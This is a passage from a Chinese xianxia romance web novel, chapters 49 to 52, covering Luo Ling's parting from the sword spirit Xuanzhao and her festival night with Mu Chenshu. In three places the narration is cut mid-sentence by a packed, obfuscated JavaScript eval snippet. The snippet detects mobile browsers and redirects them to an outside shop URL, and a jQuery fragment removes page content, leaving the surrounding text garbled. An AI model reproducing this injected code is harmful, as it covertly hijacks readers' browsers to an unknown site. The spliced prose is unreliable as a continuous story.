不过见她不动弹，它便立即用爪子将她捉了过来，与另两只幼鸟一般，塞到了尾羽之下。 洛绫躲在温暖的羽毛中，和两只幼鸟共挤一窝，总算是明白了过来，这骷凤，不会是把她当成娃养了吧？ 49. 四十九 何以放下 就这样，洛绫在那骷凤大鸟的照顾下，饿了吃剩的鹿肉，困了躲羽毛下睡觉，度过整整一天一夜的时间，被养得好不惬意。 她也想逃走，可这大鸟似乎是有捕猎周期的，短时间瞧着，它不会离开巢穴。 可她也不能一直在这巢中呆着，万一哪日那大鸟回神过来自己这个崽子长得兔模兔样的，她岂不是得被撕成碎片？ 反正幼鸟血她是拿到手了，现在只要找机会溜走就行。 于是这一夜，洛绫趁着大鸟与两只幼鸟睡得香甜无比，偷偷钻出了大鸟毛绒绒的屁股底下，蹑手蹑脚地爬到水晶巢边缘，缓缓挥动那双小翅膀，尽量不发出一丝异响。 她飞着飞着，终于远离了那庞大的水晶巢，心中缓缓松了口气。 谁知她这口气还没松缓出来，就听身后传来一声凄厉的鸣啸，她瞪大眼，猛地回头一看，就看到身后一只赤红的大鸟挥舞着幕布般的翅膀，朝她疾驰而来。 洛绫吓得更加用力扇动翅膀，可她这缓慢的移动速度，哪里比得上身后那一等一的掠食者。 不消片刻她便败下阵来，那大鸟叫得愈加凄厉，仿佛对于幼崽的离家出走痛彻心扉。 洛绫的心里也更是凄凉，睁大你的鸟眼睛仔细看看！我跟你哪有一丝一毫相像的！ 她飞，鸟追，洛绫一头撞到峭壁之上，瘫软了身子，似乎终于要缴械投降了。 她气喘吁吁地望着飞来的大鸟，忽然一道黑烟截断来路，将上方一棵松树瞬间粉碎，那大鸟惊恐地拉住身子，扑腾翅膀悬停空中，而后便灰溜溜地逃离此处。 夜色中，只剩茫茫赤红的石林，还有满头大汗的那只小毛兔子。 洛绫看着那落下的黑烟，舒展了下身子，从丑丑体内钻出，白衣少女出现在清冷的月色下，转身望向那高悬天际的皓月。 “玄照？是你吗？” 回答她的是一片沉默。 “你既不愿见我，又为何要救我？” 洛绫仰着头，她在等待那道窈窕的身影出现，然而，夜色依然漫长而死寂，除了狼群的嚎叫以外，没有任何多余的声音。 “罢了，许是我多想了。” 她叹了口气，回过身，抱起丑丑，便要从峭壁上下去，夜色深沉，她摸索着那陡峭的崖壁，缓缓将脚落了下去，刚踩到一块垫脚的石块，却忽然身形不稳，往后一仰。 “救……救命！” 她的声音方落下，便看到一道身影飞向她，手臂环住她的腰肢，将她往上一捞，洛绫条件反射地勾住她的颈子，用手臂将她紧紧缚住。 那人本欲将她甩开，却因她早有预谋的动作浑身一僵，带着像只八爪鱼般缠住她的少女，从峭壁之上缓缓落到地面。 洛绫见她不再挣扎，也才敢鼓起勇气，抬头看她。 女子跟从前并无二致，依然身着黑白两色的裙袍，发髻上斜簪着三根鸦羽，容貌昳丽。 只是从前妩媚慵懒的目光，如今却显得漠然了许多，她侧过头，躲开了洛绫的注视。 “下来吧。”玄照对她道。 “我不下来，我下来你就要跑了。” 洛绫也很干脆地回答她。 “你到底想做什么？是宿龙涧的苦头还不够你吃的吗？” “我……”洛绫看向女子在月光下朦胧的侧影，“我见过虚漓留给我的记忆了。” 女子微怔，却还是没说话，依然还是不肯看向白衣少女的目光。 “他要我告诉你，让你放下。” 玄照唇角漫上一丝嘲弄的笑意。 洛绫娓娓道来：“我起先以为，他是要我告诉你，放下对牧沉书的仇恨，放下宿龙涧的往事，改邪归正做个所谓的好人，我现在见到你，忽然发觉他或许是另有深意——” 玄照望着夜色中寂静的骷凤林，四面赤石犹如根根锋利的钢钉，倒插入砂砾覆盖，寸草不生的地表。 “我见到了你，忽然发现，其实你没有变，玄照，我以为你变成了另一个人，有多么冷酷无情，作恶多端，但其实你真的没变。” “说完了吗？” 洛绫笑道：“告诉我，你若是变了，怎么会连看我一眼的勇气都没有呢？” 女子浑身一颤，立时就要将身上的少女甩到地上，洛绫却接着道：“你根本没恨过牧沉书，没有仇恨何来放下？你恨的，一直是你自己——” “够了！” 玄照喝断了她的话语，洛绫也不说话，只是那么静静地望着她。 好久好久，玄照就那么站着，没有一丝动作，丑丑在二人身边飞旋着，最后落在了玄照的肩头，冲她软软地叫唤了一声。 玄照扶住额头，恍惚道：“抱歉。” 洛绫不说话只是想让她冷静冷静，哪里会是真的生她的气，她摇头道：“没事，其实牧沉书现在过得还好，从一个小不点长成了玉树临风的厉害剑仙了。” “他……不是在养病吗？” “嗯？”洛绫抬起头，“你如何知道的？” “听人说起的。”玄照撇过头，脸颊升起微微的红色。 可洛绫知道，牧沉书不会把自己染病之事泄露出去，不仅是因为性子冷淡的缘故，更是因为，这对于一位人人忌惮的上修来说，本就不是一件很有利的事情。 “我本来不打算告诉你，那么你应该都知道了吧，他身上有旧病，还被魇妖缠上身了，我想帮他把身上的魇妖除掉，所以才会来骷凤林。” 玄照双目低垂，“他，何必如此呢？” “当局者迷，既然你明白他何必如此，你呢，你又何必如此？” 衣袖飘动，白衣少女握住了她的手，玄照眸光微烁，淡淡回道：“虚漓若是怕我变成魔邪，他大可不必多虑，我不会变成魔邪。” “是吗？” “我设计那些陷阱和秘境，的确是为了引诱修士，但只是为了汲取灵气给自己续命，只是为了，查清当年的真相。” 洛绫一怔，“续命？” “是的，我与我的主人之间的契印十分特殊，很久很久以前，我并非剑灵。” 洛绫怪道：“并非剑灵？剑灵不都是孕育而出的器灵吗？” “一部分是，另一部分……”玄照撩起衣袍，坐在了悬崖边上，望着夜色中黯然的石林，“另一部分的剑灵，是不甘的灵魂，附着在兵器上，以兵器再度重生，我就是后者。” 洛绫也来到了她的身畔，“虚漓说，你是从殒殁之界而来的异界剑灵，他说的莫非是真的？” “他连这都告诉你了吗？”玄照有些意外，“他说的没错，不只是我，还有主人，我们都并非诞生于凡间，那时候我是他的家仆，因为闯下了大祸肉身尽毁，魂魄离散，主人为了救我，以佩剑将我魂魄重铸，我这才得以活下去。” 洛绫静静听着，晚风微燥。 玄照续道：“也因为此事，他没办法在故地待下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282228|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，我与他来到凡尘界开始了新生活，他一直在用自己的灵气弥合我四分五裂的灵魂，你曾经问过我，我是不是喜欢他？” 洛绫点头。 “我不知道什么是喜欢，对我来说，他是我生命中最重要之人，他给了我新的生命，只要待在他身边，我就感到安心快乐。” 玄照将双手撑着地面，“可我确定的是，他不喜欢我，又或者说，他对我仅仅只有朋友与挚友的喜欢，他生命中最重要之人是牧姐姐，是小主人……” 洛绫抬手想要触碰女子单薄的双肩。 “可我不在乎，只要他对我好，我便也会对他好，从他将我从那个暗无天日的地方带走，从他拯救了我的性命，给我重活一次的机会开始，我就发誓，我会用尽一生去报答他，效忠他——” 暗沉的天际有若隐若现的白光，洛绫算算时辰，她逃出鸟巢许久，现在应当快到卯时了。 洛绫在玄照身边坐下，猜道：“你说，你的魂魄是靠你主人的灵气弥合的，那他死了你岂不是……” “他死了，我的灵魂会很快支撑不住，再加上，我现在与本体之剑分离太久，我的魂魄早就支离破碎了。” 玄照说着自己的生死，话音却极为平淡，一千年的时间，早已让她对生死置之度外。 “我坑骗那些强大的修士过来，汲取他们的灵气，供养自己的魂魄，可这只能是杯水车薪，把自己变得越来越人不人，鬼不鬼，我活得够久了，我对凡尘没有任何留恋。” 玄照低头看着自己苍白的十指，“我之所以还活着，不是因为别的，不是因为主人，甚至也不是因为小主人。” 洛绫不解地望着她。 “是因为你，小绫儿。”玄照抱着双膝，朝她轻轻扬起唇角。 洛绫一怔。 “因为那日你替我挡了一剑，你想让我活下去，因为那样坚定的目光，我选择活了下去，尽管从杀了主人的那一刻起，我便已经心如死灰了。” 玄照抬起胳膊，将手轻轻覆在洛绫的前额上，撩了撩她的发丝。 “你给了我活下去的理由，从那以后，我一直游离在凡尘，打听获取小主人的消息，尽管我连见他一面的勇气都没有，我不恨他，是的，小绫儿，我不恨他，毁了宿龙涧的从来都不是他，是我。” 玄照瞳眸中满是悲戚，她哑着声音道：“是我，牧姐姐和主人令我照顾小主人，我却没能照顾好他，我没能及时发现他的异样，没能及时阻止宿龙涧覆灭的命运……” “这不是你的错，玄照。” 洛绫握住她的手腕，“你不需要自责，要错，也是错在他体内的那个怪物。” “不……”玄照手臂颤抖，“你不明白，尽管我想弥补挽救，耗费了千年，还是什么也做不了。” 洛绫蹙起眉，“玄照，莫非你找出当年他为何会变成那样的真相了？” 玄照瞧着很是疲惫，她将头枕在洛绫左肩上，“真相，不再需要了。” “玄照……” “小主人不需要那些真相了，宿龙涧覆灭之时，他就已经死过一次了，真相只会再将他杀死一次，小绫儿，等你回到剑山，别告诉他你在过去看到的一切。” 朝阳飞升，炽光喷薄，已是拂晓时分。 玄照松开搂住她的手，撑起了单薄的身子，她飞上了悬崖的上方。 “我要走了，你带着骷凤血早点回肃风门去吧，别再来宿龙涧了。” 50. 五十 絮语千言 洛绫离开了骷凤林，却并未立刻回到肃风门。 玄照让她不要再去宿龙涧，她却还是折返回了宿龙涧，她有点不放心，玄照离开时的状况瞧着不是很好。 那时玄照说，她的魂魄原本靠牧沉书父亲的灵气弥合，自他死后，只能通过汲取修士灵气维持存在。 千年她都是这么度过的，洛绫的出现似乎让她真的放下了什么，可一旦选择了放下，是不是也意味着，她不再想要以这样的方式活下去了？ 洛绫心有不安，便还是回到宿龙涧，应福却告诉她，玄照并不想见她。 “小绫儿姑娘您要不就先回肃风门吧，玄照有她自己的考量。” 应福守在十里村前，对她歉意地说道。 “可是……” 应福又道：“您不用担心，她倒也不至于想不开，或许是在人间呆厌烦了，想回来时的地方了呢？” “她要回去了？” “应福只是猜测。” 洛绫看着应福微笑的脸颊，没有多说，却还是在宿龙涧前停留了两日之久，落雨了她便躲在路边的棚屋，晴日便带着丑丑坐在树下吹风。 她到底是要真正见到玄照才能放心。 直到玄照真的再次出现了，黑烟飞落在树枝上，她无奈地叹气：“你不早点带着骷凤血回去，留在这里，是想令小主人生疑？” 洛绫腾地坐起身。 “没有骷凤血牧沉书只是睡不着觉，可我们是朋友，我不能看着你想不开！” “朋友？” 玄照愣了愣，黑烟化出人形，高挑女子站在树枝上，身姿如荷，迎风而立。 “傻瓜，我前几日是说了些丧气话，却也不至于自我了结。”她从高处落下，不由抬手拂去洛绫发上落的树叶，“我要离开凡间了。” “你真要离开？回虚漓口中的殒殁之界？” “是啊，我不愿再用那些修士的灵气续命了。”她话音落下，“可在凡间也并没有能疗愈我的魂魄的法子，故此我打算回去看看。” 洛绫听此点点头，“那也挺好的，不过——你走的时候也会把剑中界带走吗？那应福住哪儿？” “你连这一点都考虑到了，挺不错的。”玄照颔首，“不枉我一片苦心。” “啊？” “我打算把剑中界给你。” 洛绫一怔，忽然瞪大了眼，“把剑中界给我？” “你也是剑灵不是吗？”玄照掐着下巴尖，“等我回到来处，应当会寻找新的容器重生，不再以剑灵的身份存在，所以把这片剑中界留给你，是最好的选择了。这片剑中界与寻常剑灵以灵气孕育出的剑中界并不一样，这是主人亲手创造出来的，上面附着的灵气和法力不可估量，我将它渡给你，你还能提升不少修为——” “可，可是……” 洛绫眨眨眼，也不容她多说，玄照便用力握住了她的手，剧烈的光芒让洛绫发丝缭乱飞舞。 她遁入了一片虚无，感知不到自身的存在，只能以俯瞰的视角，看向地面上层层叠叠的山峦、房屋、各式各样刀山火海的秘境。 那些秘境绽出朵朵灿烂的火花，顷刻便化为烟雾，玄照的声音响了起来：“我现在毁掉我创造的那些秘境，从今往后，这里的一切由你来创造与湮灭。” “什么都可以创造吗？” “当然，在你的剑中界里，你是造物之主，前提是，你的灵气足够充沛——” 洛绫仔细想了想，即便她如今真想创造这样强大的秘境，怕是也没那么多灵气可用。 “还有，宿龙涧。” 玄照的声音忽然沉了下来，洛绫感到眼前晕眩了下，而后她落到了地面上，看到玄照负手而立，站在那片长满水草的池塘边上。 “把它留在桃陵县吧，这里已经荒芜太久了。” 玄照回过头，看向白衣少女不解的目光，“千年以前的故事已经结束了，我们的故事结束了，可即便是我，也想某一天能看到枯死的池水焕发新的生机，也想有朝一日，这里会再度热闹起来。” “玄照……” 女子身上散发出细密的白光，池风轻轻吹过，带着期盼已久的些微凉意。 “马上要到秋日了。” 玄照喃喃念着，看向洛绫的目光也变得温柔且释然，“我要走了，记住我说的话，别告诉小主人真相，往后，只能拜托你代我照顾他了。” “我会照顾好他的，我等你回来。”洛绫握紧她的手。 鸦羽女子轻轻一笑，“还有件事没告诉你，小绫儿。” “什么？” “其实我这人性子孤高，从来没有过什么朋友。”她朝她点头，“谢谢你能把我当朋友。” 她的身影消隐于荒芜的池塘边，宿龙涧光影变化，挣脱了那埋没其千年的无尽昏暗，天空倏地变为阳光和煦的晴天白日，一切再度归于人间。 洛绫抬起手，看着手心的菱花契印之上，散发出点点红光，光芒如丝如线将她浑身包裹成茧状。 她忽然低下头，感到浑身热得犹如泡在灼烫的铁锅中沸煮，疼痛如蚂蚁遍噬骨肉。 洛绫紧闭双眼，不由蹲下了身。 丑丑见状急得围住她四处乱飞，以为她中了什么致命的术法。 直到白衣少女猛地长吸了口气，睁开了布满血丝的眼。 【恭喜完成支线任务。】 【已获得支线任务奖励。】 【恭喜您修为突破至凡品剑灵。】 许久不发声的系统冷不丁地送来祝福，洛绫瘫软在了地上。 任务完成了？ 可她还没把骷凤血带回肃风门，没有送给牧沉书，怎么会任务完成了呢？ 只是她已筋疲力尽，没力气思考这些问题，她躺在池水畔的草窠内，看着一只白色的蜻蜓掠过她的视线，在她指尖停留片刻。 “月落蜓？” 洛绫怔神，蜻蜓再次振翅而起，这一回，飞往了她不可知的远方。 漫漫天际，渺渺人间，直至她再也看不见那月白色的孤影。 * 离开宿龙涧后，洛绫很快回了肃风门，将元念合于本体，也收取了近来本体留在肃风门发生的一切记忆。 她不在的这些日子里，肃风门很平和，她照常上课放课，牧沉书也没发现她的异样。 裘锦对于自己的强力助攻颇为得意，洛绫也只好表示，等她回来收收心，马上就给他助攻，马上就让他和苏烟成双成对。 洛绫自然也没忘了要将骷凤血交给牧沉书，虽然系统说任务完成，她也顺利升级到凡品剑灵了。 她不明所以，但不论如何，总是要将牧沉书身上的魇妖赶走的。 裘锦说牧沉书已结束闭关了，前几日的课也照常去书山上的，那说明他的病应当好得七七八八了。 可洛绫去竹屋时，却总看不到他的身影，问了小月儿，那小家伙也不知他去了哪儿，惹得洛绫心里十分疑惑。 “不过绫姑娘，前阵子剑宗来过竹屋。” 剑宗沈嶷？ 小月儿给洛绫提了醒，“剑宗还老让月海大人去琴山看望沈姑娘呢。” 洛绫一怔，小月儿无奈耸肩道：“搞不好，月海大人会是去琴山了吧？” “呵呵，他倒还挺听沈嶷的话。” 洛绫无奈，迫于骷凤血的缘故，还是打算先找到牧沉书，只是要去琴山找他，看他和沈兰因郎才女貌，卿卿我我，心中便莫名有些膈应。 牧沉书，我在外为你披荆斩棘，连一千年都穿了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297008|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，结果你躲在琴山攻略女主…… 洛绫心中满是不忿，便先回了烟锦林的园子。 裘锦和苏烟都不在，烟锦林也显得空荡荡的，话说回来，其实整个剑山，整个肃风门都空荡荡的。 丑丑暂且还在她这儿呆着，没被她送回棋山，因赶路饥饿，正在屋外对着一大盆胡萝卜大快朵颐。 洛绫趴在枕头上，想着牧沉书的事情，忽然看到了床头的那个檀木小柜。 “你不在的时候，师父写了不少言符过来，不过你一封也没看，都收在这柜子里。” 裘锦的声音在脑海中响起。 对，那时候元念不在体内，她怕听了言符觉着听了烦闷焦虑，便没有打开阅览。 洛绫拉开了小柜，一片片的言符便从柜中飞了出来，翠绿的叶片交汇成一条蜿蜒的绸带，上梁接地，交缠纷飞。 她眼看着那言符还在从柜中持续流出，最后竟犹如海浪般在空旷的房屋内沉浮翻涌。 “他，有写了这么多吗？” 洛绫指尖一抬，本打算快速浏览一遍言符的内容，不料没控制好灵气，灵气四处游曳，竟将整个屋内的言符都点亮了起来。 那些翠绿的叶子急速枯黄，洛绫便听到无数的声音在耳边响起。 “小绫儿，我昨日练剑时，有只团雀飞到我剑尖上，煞是可爱。” “今日尝试了葱烧豆腐新的做法，加了一些从蓬莱抓的银鳞妖鱼，味道不大好，剩的菜没吃完，都给小月儿吃了。” “小月儿腹泻了，好几日不理会我。” …… 那些话音有的带着晨起的慵懒倦怠，有的则听起来一本正经、煞有其事，有的仿佛不知如何措辞，微微的慌张与磕巴…… 不论是哪种腔调，皆是他一如既往清泠好听的声线。 洛绫将手肘撑在枕上，认真听着那些同时响起却并不杂乱的碎碎念，唇角禁不住上扬。 “我近来闲来无事琢磨，凝秋十二式多加一式或许会让出招更加流畅，不过裘锦那小子听了大约又要哭天抢地，我养病时，他怕是又在偷懒不练剑了？” “天气很好，在山顶的观山亭晒了会儿太阳。” “今日再度尝试了葱烧豆腐的新做法，用摘的灵草代替了葱花，味道尚可，让小月儿都吃完了。” “小月儿中毒了，我让眠素带他去疗毒了。” …… 悬浮的树叶一片片地化为齑粉，可空中仍然还有数不清的树叶在焕发着莹亮的光泽，回荡着他事无巨细的诉说。 “我把竹屋拾掇了拾掇，找到了去年丢的一枚簪子，有些像我送你的那枚青玉簪子。” “上回给你寄的糕点，不知你吃了可还喜欢？” “我又做了葱烧豆腐，这回没加妖鱼，也没加灵草，只调整了一些佐料，小月儿不敢再试菜，只好我自己吃——味道很好，小绫儿，等你回来我做给你吃吧。” “今日起了风，我一个人坐在窗前出神，往常这个时候，你应当会在院子里浇浇花吧？” “小月儿看起来也有点想你了。” …… 不知过了多久，那些环绕周身的话音才逐渐沉落，洛绫看着漫天落下的光屑与齑粉，一阵恍惚。 她猛地从榻上起身，推门而出。 天色渐晚，漫天星辰，皓月落霜，她一路乘剑飞往琴山，前往那片桃花地，找到了正在路径上扫花的沈兰因。 “师叔？师叔没来过琴山啊。” 藕衣少女满脸困惑地望着她。 “那，那沈姑娘你有看到过剑仙大人吗？” “没看到。”沈兰因思忖着，“不过或许是因为山下正在过夕缘节，师叔也去凑热闹了？” “夕缘节？” 51. 五十一 人间无数 “夕缘节？” 七月尽，庆夕缘。 洛绫知道这个节日和习俗，上回赵瑗还带她去看了夕缘节前终吾村的杂耍和闹市。 可牧沉书哪里是会过那种节日的人？ 洛绫摇头，叹了口气，没等沈兰因多问，便垂头丧气地离开了。 丑丑一直跟着她，看她有些蔫巴，还扯着她的袖子，要将她往山下拉。 “你想去凑热闹？” “喵~~~” 望着小兔子满是期待的红眼珠子，洛绫却铁面无情地道：“不成，我都回来一天了，我得把你送回棋山了，万一高岳兴头上来找你找不到怎么办？” 丑丑听此大失所望地往后一倒，再没有梦想，软绵绵地悬浮在她的身侧。 将丑丑送回棋山的兽笼，继续它的监禁生活后，洛绫便下了山，打算回剑山去睡觉了。 她又不像其他去凑热闹的修士，有情缘有倾慕之人，她去逛那些闹市只能是被秀恩爱的那个，想想便有些意兴阑珊。 走在下山的路径上，她忽然发觉黑暗中泛起了一点柔软的亮光，一片落叶缓缓飞入了她的手中。 “言符？” 洛绫接过言符，唯恐是牧沉书寄来的。 她本要将那言符打开，越是忙慌，越是没能握住那叶片，一阵风吹过，将她手中的言符吹到了身后。 洛绫赶忙转头，俯身去地上捡言符，夜色虽深沉，幸好那叶片上依然泛着醒目的莹光。 她正要捡起树叶，手却僵滞住了。 “怎这般慌乱？是谁寄来的言符？” 洛绫猛地抬头，少年执鱼灯站在她的面前，苍青的袍角被灯盏染上了一片霞红。 棋山的小路实际上很是荒凉寂静，遍布荆棘，满地碎石，没有半点美意。 可他站在那里，执一只鲤鱼灯，眉目如月，只是轻轻舒展眉尖，就将幽暗的小径完全点亮。 “……剑仙大人？” 洛绫呆愣愣地望着少年。 其实距离她上回见到他，只过去了不足一个月，这样的一个月，她在剑冢里闭个眼就过去了。 一百多年的修炼之路，她早已看轻时间。 可在这短短的一个月内，她经历了太多太多，那么多的生死与变迁，让她忽然发觉，能再度见到他的容颜，是多么弥足珍贵的一件事。 “小绫儿，你怎么看着我发呆？” 他眼含笑意，洛绫有些语塞：“我……” “我们有一个月没见吧。” “是啊。” 洛绫若有所思，连那枚落在地上的言符也没捡，便恍惚站起了身。 少年笑道:“饿了吗？” 她摸了摸肚子，“有点。” “走吧。” 他朝她伸出一只手，纤细修长，仿佛落着月色的莹白。 “去哪儿？”洛绫一怔。 他却反手握住了她的手掌，带着她往下山之路走去。 “过节。” “过节！？”洛绫一惊，“夕缘节？” “对，我自个儿做了好久才做了这只鲤鱼灯。” 他将那散发着温暖红光的鲤鱼灯递向她，“苏烟说，夕缘节该互送礼物，我觉得她说的有几分道理，可我不知该送你什么，这只灯笼你可还喜欢？” 洛绫接过鱼灯，双唇不住翕动。 鱼灯是用竹篾和浆纸做的，上面的鲤鱼图纹也是一笔一划画上去的，鲜红的尾鳍，呆傻的眼珠，墨汁才干了半截。 “丑巴巴的，不喜欢。” “是吗？”他听此颇为严肃地点了点头，仿佛在认真听取她的意见，“下回我跟着做灯笼的师傅再学学。” 洛绫笑出声，“我逗你的。” “那你喜欢还是不喜欢？” 他愣了愣，满脸不解，洛绫笑着点头，晃着手中灯笼道:“剑仙大人亲手制作的灯笼，小绫儿怎能不喜欢？” 他眼中立刻浮现出难以抑制的喜色，“喜欢就好。” 他牵着她的手，一路往山下走去，黑夜中，两道提灯的身影，便这样涌入了繁华热闹的人间集市。 终吾村比前阵子她元念离去时还要热闹许多，四处张灯结彩，长长一条街市，两侧悬满各种花色，各样图纹的灯笼。 灯下是成双成对，并肩而行的爱侣恋人，自然也有许多前来凑热闹的百姓。 猜灯谜的围做一团，各个抓耳挠腮，挂姻缘牌的相望无言、眼波流情，街边更有戏班子搭台唱戏，唱的是红尘戏，痴男怨女，爱恨离愁…… “师父！绫姑娘！被我抓住你们了！” 二人还没逛上一会儿，一道响亮的声音便自人海中响起。 洛绫回头一看，苏烟、裘锦、高岳等人就站在二人身后，头上戴着千奇百怪的妖鬼面具，手上也满是采买的节庆饰品。 苏烟大摇大摆地走过来，颇有一副捉奸在床的气势。 洛绫尴尬地笑了笑。 “师叔，绫姑娘节日安康。”高岳过来老老实实地作揖。 “师父，绫姑娘，你们一起过节啊？”苏烟摆弄着头顶那张猫妖面具，不怀好意笑道。 裘锦也跟着高岳的步伐走上来朝二人问好，他看向洛绫，轻咳一声：“绫姑娘你园子里的事情都忙完了吧？” 他这是在暗示她丑丑送回去了没，洛绫点头道：“忙完了，和剑仙大人出来凑凑热闹。” “就凑凑热闹？”苏烟掩嘴偷笑，弄得洛绫脸颊浮上两抹绯色。 见二人皆是脸红不语，苏烟心中了然，从身后取出一盒糕点，递给了洛绫，“给你！” “给我？”洛绫怔了怔。 “我特意踩了俩个时辰的飞剑，去柳城买的马蹄糕，听说可好吃了。” 洛绫缓缓接过糕点，“这……” 裘锦在旁酸道：“师妹，夕缘节你都没给我，咳，没给我和高师兄送礼，怎么送绫姑娘？” “你懂什么？绫姑娘刚来剑山，咱们都没招待过人家，趁着过节送点小礼很正常，再说了——”苏烟朝洛绫眨眨眼，“这可是师父推荐我送的。” 洛绫立即看向牧沉书，牧沉书点头道：“柳城这家糕点铺做的马蹄糕我吃过一回，味道的确尚可。” “苏烟，剑仙大人，那就多谢你们的好意了。” 洛绫满心欢喜，将那盒糕点抱在怀中，袖摆一撩，却让苏烟眼尖地瞧见了不对劲。 她立刻喊出声：“哎！绫姑娘您腰间那块玉佩，莫不是师父的？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306521|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛绫低头，看着那塞在腰间，漏出了半截的月牙玉石，心中一惊。 “这个，你们听我解释……”洛绫连忙摆手。 牧沉书却坦然答道：“是我送她的。” “哦——”三人皆露出讳莫如深的表情。 洛绫百口莫辩，正要着急忙慌地继续狡辩，谁知空中传来熟悉的一声“喵！” 一只毛绒绒的兔子便冲进了她的怀中，叼走了她腰间的月牙玉佩。 “丑丑！？你怎么从兽笼跑出来？” 高岳瞪大眼，看着那叼着玉佩的兔子，“好啊，你竟然又盯上师叔的玉佩了！还想继续关禁闭？” 丑丑全然不听高岳的嚎叫，叼着玉佩就四处乱飞，高岳吓得钻入人群，到处抓捕那只顽皮捣蛋的小兔子。 小兔子却把他耍得团团转，高岳东一头西一头，还没抓到兔子便扑到地上摔了个四脚朝天。 苏烟和裘锦见状，纷纷捧着肚子哈哈大笑。 洛绫也禁不住笑了起来，转头见牧沉书静默在原地，便伸出食指，将他绷平的唇角也勾了上去，后者红了脸，微微侧过头。 戏台子上还在唱，旦角的声调渐渐上扬，原来已唱到了如意郎君闯过三关，身骑白马，踏雪驰骋归。 “金风玉露一相逢，便胜却人间无数。”洛绫忽然念道。 牧沉书意外道：“怎的突然诗兴大发？” “没有，我就是在想。”洛绫伸了伸懒腰，望向面前欢声笑语的一片，“若是，时间永远能停留这一刻就好了——这一刻，胜却人间无数。” * 琴山，桃花早已落尽。 耦合色裙衫的少女放下扫帚，离开桃花地，来到云雾缥缈的崖边，默默望着山下灯火通明的人间。 那里烟火绽放，人群熙来攘往。 “大过节的，一个人在山上多没意思，怎么不下去逛逛？” “你怎么来了？”少女猛然一惊。 “怎么？我不能来？” 那话音狡黠而清澈，正是少年炽热明亮。 “不是，我是说，我以为你不会来……” 少女垂首，眼神禁不住地闪躲。 “有道是，金风玉露一相逢，便胜却人间无数。” 少女微微一怔，“你从哪儿听来的诗句？” “说来有趣，方才路过山下市集，听到有人念起的，我觉着很是不错，便说与你听听——”那声音带着笑意，“话说，沈姑娘，你还没回答我的问题，要不要下去逛逛？” 少女听此脸颊腾地浮上霞红，微微磕巴道：“我？你？我跟你有什么好逛的？” “看来你还在生我的气？好吧，就当是欢庆节日，暂时和解，这回算我错了。” “什么叫算……”少女低声嘀咕着，耳边忽然传来山下放烟火的声音，烟火绽放熄灭，“哗啦”，仿佛落下一片洇染夜幕的彩雨。 她忽的展了展裙摆，起身道：“罢了，那我也暂时不跟你计较了。” “沈姑娘大人有大量！” 黑夜中，落下一道颀长的身影，他握住她的手。 少女惊讶地低呼了一声，而后便被他拉上了滚滚的云层，风声呼啸，直往灯火琉璃，如梦如幻的人间而去。 52. 五十二 梦魇消散 过完夕缘节，洛绫睡了个懒觉，这些天做任务疲惫劳神，她自以为也值得这日上三竿的一大觉。 可牧沉书第二日早早就过来了，将烟锦林的园子打扫收拾干净后，又令小月儿去敲她的门。 “什么事？”洛绫顶着鸡窝头，看向那敲门的小萝卜头。 小月儿捧着一只柳条筐子，奶声奶气地道：“月海大人命我来绫姑娘房间收拾东西。” “收拾东西做什么？” “搬回竹屋啊。” 小月儿没等她反应过来，便带着手里的柳条筐，踏入了她的房间，开始紧赶慢赶地收拾了起来。 对，牧沉书的病好了，她也是时候回去了。 洛绫换好衣裳，走出房间，发现牧沉书站在阶边窗前，听到门开的动静，忽的抬起了头，望向满脸倦容的白衣少女。 “你这里有一盆白暮颜。” 他指着洛绫放在窗台上的那盆白花，洛绫一怔，“怎么了？” “我小时候在宿龙涧有位先生，他很爱种白暮颜，我记得他种了一大片。”他抬手抚上那白暮颜柔软的花瓣。 洛绫心知肚明，却还是问他：“他为何要种那么多白暮颜？” 牧沉书微微一怔，过了好半晌才回道：“有一年，宿龙涧闯入了一只妖物，将他田地里的灵草都毁了，先生暴跳如雷，只好把地里的灵草全部锄了重种……再然后，就有了那一大片白暮颜。” “是么？”洛绫不由莞尔。 其实先生田里的灵草灵植原本种类繁多，不过因为那个闯入的“妖物”只学会了种白暮颜，因此为了图方便，图省事，她播种的绝大部分都是白暮颜。 只是“妖物”没想到，最后留在站在田埂边上的男孩记忆中的，只剩那泱泱的雪白，她已被岁月长河彻底抹去了。 不过没关系，只要她还留在他身边，不论什么记忆都是可以创造出来的。 “对了，小绫儿，我体内的那只魇妖已经被驱走了。” 牧沉书突然提及此事。 洛绫瞪视着他，“驱走了？” “对。”他点头，“早在你的元念还没回来的时候。” 洛绫一愣，伸手挠起了后脑勺，“你……你都知道了？” 牧沉书正欲说起那日在园外与苏烟的对话，但自己偷偷下山看她这事，却有些说不出口。 